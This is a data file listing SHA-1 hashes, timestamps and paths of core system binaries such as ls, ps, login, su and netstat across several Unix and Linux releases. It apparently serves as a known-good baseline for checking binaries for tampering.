+B17762B095C38AC2D40A3ECF85CFB8FF3B584137 Fri Aug 27 01:35:04 2004 /usr/sbin/fuser [HP-UX B.11.23 ia64] +31547D7FD8D683417A1F57BC9818EB84ADA3838E Fri Mar 26 08:00:00 2004 /usr/bin/su [HP-UX B.11.23 ia64] +DB6921E1300EBFA8B51CF1F2ACE3504578018BEC Fri Mar 26 08:00:00 2004 /sbin/ls [HP-UX B.11.23 ia64] +E5824D00EC5CEA3D2DAF91F23840FB08520D18D6 Fri Mar 26 08:00:00 2004 /bin/w [HP-UX B.11.23 ia64] +E5824D00EC5CEA3D2DAF91F23840FB08520D18D6 Fri Mar 26 08:00:00 2004 /usr/bin/w [HP-UX B.11.23 ia64] +AB41E3DF4086E9C97D1CE186C074901C3DE25390 Fri Aug 27 01:25:13 2004 /bin/telnet [HP-UX B.11.23 ia64] +AB41E3DF4086E9C97D1CE186C074901C3DE25390 Fri Aug 27 01:25:13 2004 /usr/bin/telnet [HP-UX B.11.23 ia64] +3D7E90B682BDF2CD7B2D98F3DD4F86F406AEFF30 Fri Aug 27 01:27:10 2004 /bin/login [HP-UX B.11.23 ia64] +3D7E90B682BDF2CD7B2D98F3DD4F86F406AEFF30 Fri Aug 27 01:27:10 2004 /usr/bin/login [HP-UX B.11.23 ia64] +839B67DD090B4872B5E07CA73C9B90E3E9138959 Fri Aug 27 01:29:05 2004 /bin/find [HP-UX B.11.23 ia64] +839B67DD090B4872B5E07CA73C9B90E3E9138959 Fri Aug 27 01:29:05 2004 /usr/bin/find [HP-UX B.11.23 ia64] +E3AE02A3E96D4BDCC0FB33CC0913B77156694EAD Fri Aug 27 01:31:16 2004 /usr/sbin/inetd [HP-UX B.11.23 ia64] +996F8F15EAE7C11FACB53C7D3FEC405FC870B47A Fri Aug 27 01:31:47 2004 /bin/rm [HP-UX B.11.23 ia64] +996F8F15EAE7C11FACB53C7D3FEC405FC870B47A Fri Aug 27 01:31:47 2004 /usr/bin/rm [HP-UX B.11.23 ia64] +F8F094AE7A1E236B29B5E099DDB6B011302D4AFF Fri Aug 27 01:31:47 2004 /sbin/rm [HP-UX B.11.23 ia64] +ED2620FF57BABFD7D7F0E3D5A20121CB3C7C854F Fri Aug 27 01:36:38 2004 /sbin/sh [HP-UX B.11.23 ia64] +5B9A7BC4A71FC357B7C5A466AC6E01FEE98B7212 Fri Aug 27 01:36:39 2004 /bin/sh [HP-UX B.11.23 ia64] +5B9A7BC4A71FC357B7C5A466AC6E01FEE98B7212 Fri Aug 27 01:36:39 2004 /usr/bin/sh [HP-UX B.11.23 ia64] +E4BD2596A1F2F0DA734B03F01A0C585925D38866 Fri Aug 27 01:46:30 2004 /usr/sbin/arp [HP-UX B.11.23 ia64] +89B74E3BBF8EF56D6F20288E3E06E67F416CF2D8 Fri Aug 27 01:46:13 2004 /bin/netstat [HP-UX B.11.23 ia64] +89B74E3BBF8EF56D6F20288E3E06E67F416CF2D8 Fri Aug 27 01:46:13 2004 /usr/bin/netstat [HP-UX B.11.23 ia64] +498934AB3B56783B68898FC432F782BE07E87F81 Fri Aug 27 01:47:16 2004 /bin/ls [HP-UX B.11.23 ia64] +498934AB3B56783B68898FC432F782BE07E87F81 Fri Aug 27 01:47:16 2004 /usr/bin/ls [HP-UX B.11.23 ia64] +C650DE39F1BA81E0B0DC3A2108001F8F23706695 Fri Aug 27 01:51:44 2004 /bin/ps [HP-UX B.11.23 ia64] +C650DE39F1BA81E0B0DC3A2108001F8F23706695 Fri Aug 27 01:51:44 2004 /usr/bin/ps [HP-UX B.11.23 ia64] +392FBBE7DD19B73638977701C8F8D0D46256325C Thu Nov 17 12:48:07 2005 /usr/sbin/proftpd [HP-UX B.11.23 ia64] +392FBBE7DD19B73638977701C8F8D0D46256325C Thu Nov 17 12:48:07 2005 /usr/sbin/in.proftpd [HP-UX B.11.23 ia64] +8912A367460655B0BE5B88E88C1F71ED1176ACB1 Thu May 18 05:22:05 2006 /usr/sbin/xinetd [HP-UX B.11.23 ia64] + +EAFB3AAAC97983476512E488F75DD169F5FA7A91 Sun Apr 7 10:24:08 2002 /usr/bin/find [Slackware 9.1] +E332FAD818EF01F79555EEFE4047ED1B2C99DECD Mon Jun 23 23:40:36 2003 /bin/su [Slackware 9.1] +A7BA13F1D82EB9878D7C1401B058A7565496FAE0 Mon Jun 23 23:40:36 2003 /bin/login [Slackware 9.1] +995E5569280ED83DB415FE3D7CE4B6A5D7D97C9E Fri Sep 12 03:29:46 2003 /usr/sbin/inetd [Slackware 9.1] +7D31AD696532F2FD933CDF64C11904B4346BBCEC Thu Sep 18 18:27:03 2003 /bin/rm [Slackware 9.1] +D5886038BA2BCBB2BA325BE61E271DB5C80A5537 Thu Sep 18 18:27:03 2003 /bin/ls [Slackware 9.1] +E10580D1C7CE71931F133E90781DCC2FBC5D02FC Mon Sep 22 03:52:44 2003 /usr/bin/w [Slackware 9.1] +E4EB2ED5A749EE85AEBD4BB04D5579A1724A8A29 Mon Sep 22 03:52:44 2003 /bin/ps [Slackware 9.1] +4E96BFBE6BD3D54573C8E0B968740AC5838934A7 Tue Sep 23 19:10:59 2003 /usr/sbin/proftpd [Slackware 9.1] +AA1BCA06605D9FB1E1CB4A3A637E42AF1E3D08DC Wed Sep 24 23:52:49 2003 /sbin/modinfo [Slackware 9.1] +FD3F51DF3AA1F1A2A5E43A59F06B53E2847EB1C2 Thu Sep 25 01:09:38 2003 /usr/sbin/in.rshd [Slackware 9.1] +A164362ABD9CD96036A0A83B0FB5DB00DACD8CF9 Thu Sep 25 01:09:38 2003 /usr/sbin/in.rlogind [Slackware 9.1] +CD1D2D79ED77B6059D6DC87609AB62586B495E09 Thu Sep 25 01:09:44 2003 /usr/sbin/in.telnetd [Slackware 9.1] +D866F732DF5879D3A8B938A73CF6A993AFEF2D6C Thu Sep 25 01:09:53 2003 /usr/sbin/in.tftpd [Slackware 9.1] +017D204F164C85CD55EF2E6BE793B4905DC7381B Thu Sep 25 01:09:26 2003 /sbin/arp [Slackware 9.1] +8034FB66B8BED2F369EE9419AF74B9D0856A0B10 Thu Sep 25 01:09:44 2003 /bin/telnet [Slackware 9.1] +A099EE6B6B30EBAF7EE22474E45553C11C2B7B75 Thu Sep 25 01:09:26 2003 /bin/netstat [Slackware 9.1] +D2AF07625565FA525394BD3A668EDADAC5E1C07D Mon Jun 23 23:15:47 2003 /bin/sh [Slackware 9.1] +D5886038BA2BCBB2BA325BE61E271DB5C80A5537 Thu Sep 18 18:27:03 2003 /usr/bin/ls [Slackware 9.1] +7D31AD696532F2FD933CDF64C11904B4346BBCEC Thu Sep 18 18:27:03 2003 /usr/bin/rm [Slackware 9.1] +E4EB2ED5A749EE85AEBD4BB04D5579A1724A8A29 Mon Sep 22 03:52:44 2003 /usr/bin/ps [Slackware 9.1] +4E96BFBE6BD3D54573C8E0B968740AC5838934A7 Tue Sep 23 19:10:59 2003 /usr/sbin/in.proftpd [Slackware 9.1] + +01090DF56E8BB6958F549016B0162F83F2DBEC5A Fri Jun 16 13:58:52 2006 /usr/bin/telnet [SuSE Enterprise 10.1 x86_64] +C2A56DBC77E2366D4CA8B4253631D6087FE674B8 Fri Jun 16 14:16:11 2006 /usr/sbin/xinetd [SuSE Enterprise 10.1 x86_64] +2DF0378E19ADD530EA0EC2C63C595B3E8F74DE56 Fri Jun 16 14:27:12 2006 /usr/bin/opieftpd [SuSE Enterprise 10.1 x86_64] +7562669FC11732D72145F2AA07F9BC8D00786334 Fri Jun 16 14:34:13 2006 /sbin/arp [SuSE Enterprise 10.1 x86_64] +8209995613567B78CA0CE055BB1488281D1A861C Fri Jun 16 14:34:12 2006 /bin/netstat [SuSE Enterprise 10.1 x86_64] +3082CE6C4372E3E7A8F26865B8135A9CB1D95291 Fri Aug 25 16:19:59 2006 /usr/bin/w [SuSE Enterprise 10.1 x86_64] +CC0F47F813613E0AB045932D9E89B0C6774C1A41 Fri Aug 25 16:19:59 2006 /bin/ps [SuSE Enterprise 10.1 x86_64] +62AF6B7B75496F28C4A775467C4B40BE88DE0EFE Thu May 3 13:27:33 2007 /sbin/modinfo [SuSE Enterprise 10.1 x86_64] +B9919ED9D91FE984427EBE3A3E486EDC12A53AC4 Thu May 3 13:29:16 2007 /usr/bin/find [SuSE Enterprise 10.1 x86_64] +95C267A3512BC1333A0B8485F0938B7F0501B90D Thu May 3 13:49:07 2007 /bin/su [SuSE Enterprise 10.1 x86_64] +8F4CD4DD7FA974717AEEFBBD59772D130736CC0E Thu May 3 13:49:07 2007 /bin/rm [SuSE Enterprise 10.1 x86_64] +6D358E53B7C790F9C5613A60A6E70BE8FA8E14BA Thu May 3 13:49:07 2007 /bin/ls [SuSE Enterprise 10.1 x86_64] +0288110135C5AF73FE2E76F88E70930D3AC6A415 Fri May 4 11:28:33 2007 /bin/login [SuSE Enterprise 10.1 x86_64] +76CFAFC72CF825AD7CA9332C5EE4E5D94EDF239D Thu May 3 13:27:22 2007 /bin/sh [SuSE Enterprise 10.1 x86_64] +3474D7C0FE46C7C98D16A7CE975E0E2EA633478F Fri Jun 16 14:16:11 2006 /usr/sbin/rcxinetd [SuSE Enterprise 10.1 x86_64] + +D0F84B7A9C6A3152DCDE152169FAAF4C8F569485 Tue Nov 23 06:33:11 2004 /bin/w [AIX 5.2] +D0F84B7A9C6A3152DCDE152169FAAF4C8F569485 Tue Nov 23 06:33:11 2004 /usr/bin/w [AIX 5.2] +977439CF9BCF728CBFA96F873C65E45570E4EBA8 Tue Nov 23 14:28:38 2004 /usr/sbin/arp [AIX 5.2] +4B2512805298D3246070C7DF013619211C937B3F Wed Apr 27 20:29:35 2005 /usr/sbin/netstat [AIX 5.2] +73831BCCBBBF09F210D109B522303A4162612A75 Wed May 18 04:22:49 2005 /bin/su [AIX 5.2] +73831BCCBBBF09F210D109B522303A4162612A75 Wed May 18 04:22:49 2005 /usr/bin/su [AIX 5.2] +584BD11E83A0938B5D334F7425D169B93820AC1D Sun May 22 22:57:33 2005 /bin/rm [AIX 5.2] +584BD11E83A0938B5D334F7425D169B93820AC1D Sun May 22 22:57:33 2005 /usr/bin/rm [AIX 5.2] +93B78CF800275598FA205D606E83BE7E18D390E8 Tue Jun 28 22:38:59 2005 /bin/ls [AIX 5.2] +93B78CF800275598FA205D606E83BE7E18D390E8 Tue Jun 28 22:38:59 2005 /usr/bin/ls [AIX 5.2] +CCAF4D0CFEFB201A5F410FF7413A2A94449EBCF6 Tue Jun 28 22:38:38 2005 /bin/sh [AIX 5.2] +CCAF4D0CFEFB201A5F410FF7413A2A94449EBCF6 Tue Jun 28 22:38:38 2005 /usr/bin/sh [AIX 5.2] +FC2C0DD78E0571947831E78A073AE1568434F121 Sat Jul 9 12:50:44 2005 /bin/telnet [AIX 5.2] +FC2C0DD78E0571947831E78A073AE1568434F121 Sat Jul 9 12:50:44 2005 /usr/bin/telnet [AIX 5.2] +7DC2254A33B3E0CBEEC1523B1437FA5E63129DB6 Sat Jul 9 12:52:14 2005 /usr/sbin/rshd [AIX 5.2] +8970C451394C89BCDC11F5592BA33CBA4DE49B88 Sat Jul 9 12:52:11 2005 /usr/sbin/rlogind [AIX 5.2] +8A81A2A07B2CDD1818AB78860E285BA8E018D4BF Sat Jul 9 12:52:15 2005 /usr/sbin/krshd [AIX 5.2] +96B96118D94BEE2B2C4F1DC122387DFEEFB39E44 Sat Jul 9 12:52:14 2005 /usr/sbin/krlogind [AIX 5.2] +011291A365F97A5011DA694AB2C2572D30AB3A39 Sat Jul 9 12:52:13 2005 /usr/sbin/tftpd [AIX 5.2] +61E9D702793B7D8CFCC2D1C7C88703DD5A7EA2F8 Sat Jul 9 13:17:53 2005 /usr/sbin/inetd [AIX 5.2] +7B1D011A23362A69B1190FD2DE99C66BD2D4C1DA Sun Jul 10 15:19:02 2005 /bin/find [AIX 5.2] +7B1D011A23362A69B1190FD2DE99C66BD2D4C1DA Sun Jul 10 15:19:02 2005 /usr/bin/find [AIX 5.2] +92009667AF6BE103BB09EE2097E84011DE42C6EF Sat Jul 16 17:54:10 2005 /usr/sbin/login [AIX 5.2] +1B2C1532E5950A42D365D4194EEFED40C7E20F9B Wed Jul 20 17:57:10 2005 /bin/ps [AIX 5.2] +1B2C1532E5950A42D365D4194EEFED40C7E20F9B Wed Jul 20 17:57:10 2005 /usr/bin/ps [AIX 5.2] +9DC8761D53E2C011EBC235AB04264E1255CE262D Thu Jul 21 08:51:33 2005 /usr/sbin/telnetd [AIX 5.2] +D0773DE31934488087CDB18E02314AE66B338871 Thu Jul 21 08:51:26 2005 /usr/sbin/ftpd [AIX 5.2] +92009667AF6BE103BB09EE2097E84011DE42C6EF Sat Jul 16 17:54:10 2005 /bin/login [AIX 5.2] +92009667AF6BE103BB09EE2097E84011DE42C6EF Sat Jul 16 17:54:10 2005 /usr/bin/login [AIX 5.2] +4B2512805298D3246070C7DF013619211C937B3F Wed Apr 27 20:29:35 2005 /bin/netstat [AIX 5.2] +4B2512805298D3246070C7DF013619211C937B3F Wed Apr 27 20:29:35 2005 /usr/bin/netstat [AIX 5.2] + +7BEC0E63D125B7C1D4F219E871D173856C047CCD Wed Nov 25 12:07:23 2009 /sbin/modinfo [Fedora 13] +8B6F605633F95038D7A9F69DBFB49B863E148A8E Thu Nov 26 17:56:03 2009 /bin/find [Fedora 13] +4CB8E849510242FF85542E77986D392714BF5161 Fri Nov 27 12:05:36 2009 /usr/bin/telnet [Fedora 13] +94DB730A14168FFD9782B0D493E3B4E3BE2A3DCC Mon Feb 8 14:48:05 2010 /usr/bin/w [Fedora 13] +8B46D23956871150AEF860AFBDE03D592D5F11C0 Mon Feb 8 14:48:06 2010 /bin/ps [Fedora 13] +907093377EA0ED8203E23DA64E89AFD1BABA7149 Wed Apr 7 11:51:59 2010 /sbin/arp [Fedora 13] +16D8B1D22DC79F0A2671E083C82E2A93C66E0EE9 Wed Apr 7 11:52:00 2010 /bin/netstat [Fedora 13] +E3064EF0F08F5ECED501125B9DF917025FF73CC3 Mon Apr 12 13:24:46 2010 /bin/login [Fedora 13] +10FD4E39D7767D94F64F300704DF56BB70055D4A Wed Apr 28 14:51:09 2010 /bin/su [Fedora 13] +8B7CD918C69E2AD105B220E2C7999C38943BEFFB Wed Apr 28 14:51:08 2010 /bin/rm [Fedora 13] +E07C7870F4178E863595357F1FB5FB5AF943082B Wed Apr 28 14:51:08 2010 /bin/ls [Fedora 13] +D1AD6A75FCC2ED94C0CB141D82C1AC512C1A719D Wed Mar 31 12:14:39 2010 /bin/sh [Fedora 13] +8B6F605633F95038D7A9F69DBFB49B863E148A8E Thu Nov 26 17:56:03 2009 /usr/bin/find [Fedora 13] + +BAC0C820AF03B2297FA1CD831A2E3E4AA9BAEEA9 Fri Sep 9 16:05:05 2005 /usr/bin/telnet [SuSE 10.0] +B19E1F768FF6D72ED6D4F6C83E72FBFBAAE48542 Fri Sep 9 16:06:13 2005 /usr/bin/w [SuSE 10.0] +97A03902F03255149F72843B8CB8728211603B86 Fri Sep 9 16:06:13 2005 /bin/ps [SuSE 10.0] +D862389407F446A62B661E179EA0CA3A6DCDD57C Fri Sep 9 16:09:42 2005 /sbin/arp [SuSE 10.0] +9462A4B88B54DD6C919F9B22DF5A1F0DAF8BABE2 Fri Sep 9 16:09:42 2005 /bin/netstat [SuSE 10.0] +3095828C156D3E413A29B904DC3925832A7616B8 Fri Sep 9 16:26:38 2005 /usr/bin/find [SuSE 10.0] +FE514F6422F2F58E7B8485E960DC5464692DCD8D Fri Sep 9 18:29:29 2005 /bin/login [SuSE 10.0] +1A1F9C65E1149A13D3B436C63644952860AE0106 Sat Sep 10 05:56:47 2005 /bin/su [SuSE 10.0] +C0D1B3A96E8A6D06C7B11DFA7AF0975E3809D0D3 Sat Sep 10 05:56:47 2005 /bin/rm [SuSE 10.0] +DD3E0D20CE4DBC61B0C8CA0B60C2FBC3A1E28092 Sat Sep 10 05:56:47 2005 /bin/ls [SuSE 10.0] +EF3980A6054DCE416991D0E314949FA23FB297E1 Tue Sep 13 12:34:37 2005 /sbin/modinfo [SuSE 10.0] +E8594E3CDFA0FC9CE23FD5BAE524A2EF94211646 Fri Sep 9 16:12:09 2005 /bin/sh [SuSE 10.0] + +1B2ED7FF0B0918E97CAD169FA99DA590BB7DA7AE Thu Jul 13 16:07:56 2006 /usr/bin/find [RedHat Enterprise 5.1 x86_64] +EB00426B404DA0F5BB7775EEFB5F97823DA16541 Mon Aug 7 11:18:26 2006 /sbin/arp [RedHat Enterprise 5.1 x86_64] +391FA1069688D2DC83552A9DDF852A831E262620 Mon Aug 7 11:18:26 2006 /bin/netstat [RedHat Enterprise 5.1 x86_64] +054A6ADFE0E9B813273F20266688AFA3227B5D81 Wed Nov 8 13:48:22 2006 /usr/bin/telnet [RedHat Enterprise 5.1 x86_64] +CF11CA9807762DDC007B428004E38AD4D5E7A3E2 Mon Nov 27 16:47:11 2006 /bin/su [RedHat Enterprise 5.1 x86_64] +42EC43C53AFA44D49968BBF2D8D564BE3573CF75 Mon Nov 27 16:47:19 2006 /bin/rm [RedHat Enterprise 5.1 x86_64] +8B52E32532CC193E9BF90550C944854FF9F29DCB Mon Nov 27 16:47:19 2006 /bin/ls [RedHat Enterprise 5.1 x86_64] +C35B3476EC21A66C61A00A260A17EB96FAEA9F1D Tue Nov 28 14:06:40 2006 /usr/bin/w [RedHat Enterprise 5.1 x86_64] +E8F827861E1E5F8B6B86B17D15E5205A49E04F5F Tue Nov 28 14:06:40 2006 /bin/ps [RedHat Enterprise 5.1 x86_64] +45EC7C9583EB0A31BCE35F3532A9C3402D9F8DD7 Mon Jun 25 09:43:04 2007 /bin/login [RedHat Enterprise 5.1 x86_64] +9307FC84799314643A9641CC0103D183BEB1BC01 Wed Sep 5 16:57:53 2007 /sbin/modinfo [RedHat Enterprise 5.1 x86_64] +21BFF86E78A7194A1DD8BB0E76DAF8FF567512CB Wed Jul 12 07:11:42 2006 /bin/sh [RedHat Enterprise 5.1 x86_64] + +DDBB3DD96C0E88020E93C8BFF567344DEEE77031 Fri Feb 20 22:16:08 2009 /bin/login [SuSE 11.0] +9AB58B5EB47D96685221AB9539808F6A0F8A2D40 Fri Feb 20 22:17:04 2009 /usr/bin/opieftpd [SuSE 11.0] +9068239E54884404F46C877AB92B4D5843210666 Fri Feb 20 22:20:54 2009 /bin/su [SuSE 11.0] +67B56F64FA16DBD5F9F445D221A2FBD319D83B76 Fri Feb 20 22:20:54 2009 /bin/rm [SuSE 11.0] +5128FB035ADB221CBEC0C12E1D48D8668E2B90E5 Fri Feb 20 22:20:52 2009 /bin/ls [SuSE 11.0] +85EDBB5841C6C5A6CDF934470063908F775B45DF Sat Feb 21 02:40:16 2009 /usr/bin/telnet [SuSE 11.0] +7564AA8DCF3B56658E73AE35C6E64CE65A4004B3 Sat Feb 21 02:41:04 2009 /usr/bin/w [SuSE 11.0] +C808AB1DCD4DB1B4F1DC462895E4BD31AFCD7CF1 Sat Feb 21 02:41:04 2009 /bin/ps [SuSE 11.0] +935753EFEFB1F4E48F01CF15078CF6B703F28534 Sat Feb 21 02:41:46 2009 /sbin/arp [SuSE 11.0] +A94EE0DFA4A9A5259124855B52FB253881BCC61A Sat Feb 21 02:41:46 2009 /bin/netstat [SuSE 11.0] +2F34FAA1C709F9048E516B9FFF84D8942E3DEC6B Sat Feb 21 02:49:33 2009 /sbin/modinfo [SuSE 11.0] +C19A43CB435E1FAB0C5BF027AC1932B59873372F Sat Feb 21 02:54:52 2009 /usr/bin/find [SuSE 11.0] +01992E8395877997B0E705BBAC749B022DE0C677 Sat Feb 21 05:33:50 2009 /usr/sbin/in.tftpd [SuSE 11.0] +F4EA40A59608F0A22E7BDEFE72A6F9637616F13D Sat Feb 21 05:35:04 2009 /usr/sbin/xinetd [SuSE 11.0] +B638B780F67D7BB1B77CD52A1E6C76D867398364 Mon Feb 23 21:06:12 2009 /usr/sbin/pure-ftpd [SuSE 11.0] +0E458542F392D4102B5FC59005B2168DB90BA462 Sat Feb 21 03:04:45 2009 /bin/sh [SuSE 11.0] +0E458542F392D4102B5FC59005B2168DB90BA462 Sat Feb 21 03:04:45 2009 /usr/bin/sh [SuSE 11.0] +F67A7231F392B95451E9554DCD12A8DC90BC9823 Mon Feb 23 21:06:11 2009 /usr/sbin/rcpure-ftpd [SuSE 11.0] +4F7719469820CE454672F8DDD45A5CB6A7924195 Sat Feb 21 05:35:03 2009 /usr/sbin/rcxinetd [SuSE 11.0] + +8D23FFFB481278F0A7D220240A3DA1C53A6DA751 Sat Dec 1 09:10:47 2007 /usr/bin/telnet [CentOS 5.5] +973A582775C20D9DBFFEC4835F9739CC03F15BB8 Thu Sep 3 18:09:22 2009 /usr/bin/find [CentOS 5.5] +E53412C0CD56C606DE2311006734726AD7D91D9B Wed Jan 20 10:43:02 2010 /bin/login [CentOS 5.5] +1FB124DBE184AA022A4FCEB33DA55396C64DAFAA Tue Jan 26 23:43:34 2010 /sbin/arp [CentOS 5.5] +EFDB1B03637D21BE62B56E29E0F4EF06A8C43E78 Tue Jan 26 23:43:34 2010 /bin/netstat [CentOS 5.5] +C1C4C38E77100879309D6F8B1E44524AA6489579 Sun Feb 28 22:33:18 2010 /bin/su [CentOS 5.5] +2C3DABE530EA6C96C8C78B9433761FDFC0EFE8BC Sun Feb 28 22:33:21 2010 /bin/rm [CentOS 5.5] +0B7E2707ACD3E461A78BCCBE307A4B198AB6AFE2 Sun Feb 28 22:33:21 2010 /bin/ls [CentOS 5.5] +283E83268D36ADE55513C75BEB71AD61471DD938 Wed Mar 31 04:53:48 2010 /usr/bin/w [CentOS 5.5] +E7A9D6DB9690B2B4E6CCD18F86B7017F467F7B39 Wed Mar 31 04:53:49 2010 /bin/ps [CentOS 5.5] +34BE10E984D663C454BF061CAF85C52D12BAA128 Wed Mar 31 07:08:49 2010 /sbin/modinfo [CentOS 5.5] +551F9D3712772E41276911372F45D7083A1A6035 Thu Jan 22 01:14:14 2009 /bin/sh [CentOS 5.5] + +B58B0557964A0041D5C9FB02A2AF1B72FFF42010 Thu Mar 15 03:49:08 2007 /usr/sbin/xinetd [CentOS 5.4 x86_64] +C84F18C9DC7FA44291CE72FF55D56FD05D32E3DA Sat Dec 1 09:10:50 2007 /usr/bin/telnet [CentOS 5.4 x86_64] +7BB5A4E7F1EAA315F25DE52E90FD59A6D0EC1B03 Sun May 25 06:26:25 2008 /sbin/arp [CentOS 5.4 x86_64] +C77A3C060753C093AD265A4FF5ABA50417286DE0 Sun May 25 06:26:25 2008 /bin/netstat [CentOS 5.4 x86_64] +10E485B2A78FFBF649997094B03F87BECA887CA8 Wed Jan 21 08:39:48 2009 /usr/bin/w [CentOS 5.4 x86_64] +89A4A0156366F50C66493B6833EDAE0E7E46ED0A Wed Jan 21 08:39:48 2009 /bin/ps [CentOS 5.4 x86_64] +2F8C163C1AC59FBF4325952D26B5D4BB6194237E Thu Sep 3 18:06:19 2009 /usr/bin/find [CentOS 5.4 x86_64] +CA9E466B6BEA44F8BC30461B26F7DF49E96D3B9C Thu Sep 3 19:52:31 2009 /bin/login [CentOS 5.4 x86_64] +4EED9155B85BE2FF22A591FAB85952F9B40670FD Thu Sep 3 22:21:57 2009 /bin/su [CentOS 5.4 x86_64] +1B7ABAAC9503E82298386DFE014B7C6007FEE6CB Thu Sep 3 22:22:05 2009 /bin/rm [CentOS 5.4 x86_64] +14A2CE9CBCF4B1FB416E2DF75185585972D0856A Thu Sep 3 22:22:05 2009 /bin/ls [CentOS 5.4 x86_64] +A57712E48D85F8EF8E1C447EE2780C3D416B181A Thu Sep 3 23:27:23 2009 /sbin/modinfo [CentOS 5.4 x86_64] +74D8D7E07EEFB84D57C45A7DDD682BA13E675761 Thu Jan 22 01:15:24 2009 /bin/sh [CentOS 5.4 x86_64] + +7E35987A1B03B968AD39CB8138AD664F464915EE Fri Nov 5 01:24:59 2004 /bin/ls [FreeBSD 5.3] +436A3539E4CCF9C86DB4FE08E867C5B41A38DB36 Fri Nov 5 01:24:59 2004 /bin/ps [FreeBSD 5.3] +FA7E9CC0FE132674A88490F1FE8134B043B28644 Fri Nov 5 01:25:00 2004 /bin/sh [FreeBSD 5.3] +8CEA87A69D31AE9EB5EEDE9AF647667A7CD5A9D4 Fri Nov 5 01:25:00 2004 /bin/rm [FreeBSD 5.3] +67C5FE81BE541AFE447C16DF687FD4E417BF5850 Fri Nov 5 01:26:44 2004 /usr/bin/su [FreeBSD 5.3] +2393EC4EAE20B879D9F6B6E66A9F5F6ED0C8EACE Fri Nov 5 01:26:39 2004 /usr/bin/login [FreeBSD 5.3] +AC2228D8E10599E1BB895B44ADD8707E97CC7B72 Fri Nov 5 01:26:41 2004 /usr/bin/netstat [FreeBSD 5.3] +A4A6F40D9E0EAFD86F344D2DAAEAB7778C27E224 Fri Nov 5 01:26:51 2004 /usr/sbin/arp [FreeBSD 5.3] +241E7B766A632247815E5F7D13F31D877BD63B59 Fri Nov 5 01:26:35 2004 /usr/bin/find [FreeBSD 5.3] +88BFE42EE021823779F73FB8C4F2535C8AE6705A Fri Nov 5 01:26:56 2004 /usr/sbin/inetd [FreeBSD 5.3] +F35B170FBA5186F35F035575B8E36C78447AD504 Fri Nov 5 01:26:44 2004 /usr/bin/telnet [FreeBSD 5.3] +958012F27E68B39B70B087AFA0F333402977E9FD Fri Nov 5 01:26:47 2004 /usr/bin/w [FreeBSD 5.3] + +44A52252554D2606C92B16524CD8B352F7620C39 Fri Sep 3 19:53:18 2004 /usr/sbin/inetd [Slackware 12.2] +6936E4BC9B71BFCA2C531BFD3D9BDB4F7EA8FD29 Wed Dec 20 00:07:25 2006 /usr/bin/w [Slackware 12.2] +E3C3C72A12AA36C26B1BA11BC974BF8DBB720457 Wed Dec 20 00:07:25 2006 /bin/ps [Slackware 12.2] +C36E494E5F3685951406CE95A1A44CA4BC161EF4 Mon Apr 30 04:34:50 2007 /usr/sbin/in.rshd [Slackware 12.2] +D9CA5386D69D3D0B70A03F2E3C840D25422F6750 Mon Apr 30 04:34:50 2007 /usr/sbin/in.rlogind [Slackware 12.2] +D20C2A1F8296B74AE0025575ABE049A6A10ABB13 Mon Apr 30 04:35:08 2007 /usr/sbin/in.telnetd [Slackware 12.2] +AEC49920D443B3CE76AC9A31290C6B1E6B3C2ACB Mon Apr 30 04:35:23 2007 /usr/sbin/in.tftpd [Slackware 12.2] +955B068F67220009F83898C85F84EC3540C92056 Mon Apr 30 04:35:12 2007 /bin/telnet [Slackware 12.2] +2682229AB42DD9FDB021EAA8B09AA2E9017D7818 Tue Jun 5 02:44:45 2007 /usr/bin/find [Slackware 12.2] +7A3B75A68497E18A37785B01058E4D1640ACBC1E Mon Mar 24 20:11:29 2008 /bin/su [Slackware 12.2] +1D1E3EDCAA3532F1FDAB35754E41E641A164E3BB Mon Mar 24 20:11:29 2008 /bin/login [Slackware 12.2] +75E1BE448DDB648B28CA30A869EA252DDAB079C7 Tue Apr 1 04:10:11 2008 /sbin/arp [Slackware 12.2] +8157C87589ADDA8E5D6835BC5350F57E384F779A Tue Apr 1 04:10:11 2008 /bin/netstat [Slackware 12.2] +FEDDC08C86401BFAF55AC6C7A6B7F85B54F2063B Sun Sep 21 03:18:56 2008 /bin/rm [Slackware 12.2] +6E428E7EA5D797DCCF3B3402B579C42110D4886A Sun Sep 21 03:18:56 2008 /bin/ls [Slackware 12.2] +26E644754720D4D9DF3445E2862420593621B08C Wed Oct 8 21:48:04 2008 /usr/sbin/vsftpd [Slackware 12.2] +855B67939F08D1CAB4ACCB607860D20470676ED4 Wed Oct 22 05:04:25 2008 /sbin/modinfo [Slackware 12.2] +7537FAEDCB834387F0EC1B3A301FBE8B58EE9DE6 Tue Nov 11 22:49:28 2008 /usr/sbin/obexftpd [Slackware 12.2] +09873A4DC9C0FF97A51F5F7A0601116AE0A11AF3 Fri Nov 14 23:45:09 2008 /usr/sbin/proftpd [Slackware 12.2] +89549B289527F571D9B8E65185A17F45CBF7EB94 Thu May 10 22:19:33 2007 /bin/sh [Slackware 12.2] +6E428E7EA5D797DCCF3B3402B579C42110D4886A Sun Sep 21 03:18:56 2008 /usr/bin/ls [Slackware 12.2] +FEDDC08C86401BFAF55AC6C7A6B7F85B54F2063B Sun Sep 21 03:18:56 2008 /usr/bin/rm [Slackware 12.2] +E3C3C72A12AA36C26B1BA11BC974BF8DBB720457 Wed Dec 20 00:07:25 2006 /usr/bin/ps [Slackware 12.2] +09873A4DC9C0FF97A51F5F7A0601116AE0A11AF3 Fri Nov 14 23:45:09 2008 /usr/sbin/in.proftpd [Slackware 12.2] + +52F4894C7EC7726691FADCF5D852C218E80BF1BB Mon Apr 14 10:18:35 2003 /usr/bin/login [Mandrake 9.2] +722F5F5CFA486934DEE9F7AD2E16CABD6ADA7E22 Wed Jul 23 18:40:57 2003 /sbin/arp [Mandrake 9.2] +DB99404B6D59871FC1891C6E56B2B7D35123C9A4 Wed Jul 23 18:40:57 2003 /bin/netstat [Mandrake 9.2] +FA53A6041F65D0DCADD188BB29846FCE6CBFC12D Sun Aug 3 21:31:40 2003 /bin/su [Mandrake 9.2] +269E201489864EC607B940F36A0EFA0F72CE76F9 Sun Aug 3 21:31:40 2003 /bin/rm [Mandrake 9.2] +0B501D2B977FEF0088FEDF11DBE749FC605053FF Sun Aug 3 21:31:40 2003 /bin/ls [Mandrake 9.2] +D88129931EE0ED1D16ACDBF5C2916F60DD2CD571 Mon Aug 4 20:23:59 2003 /bin/ps [Mandrake 9.2] +886749A4DD400447014994CF41725259085BD734 Mon Aug 4 20:23:59 2003 /usr/bin/w [Mandrake 9.2] +1A6DDD9F3784061F6DE3CE50A130115A142816BC Thu Aug 7 22:24:14 2003 /usr/sbin/proftpd [Mandrake 9.2] +7F6B6919D6FC6B4068370E73092739974D59358A Thu 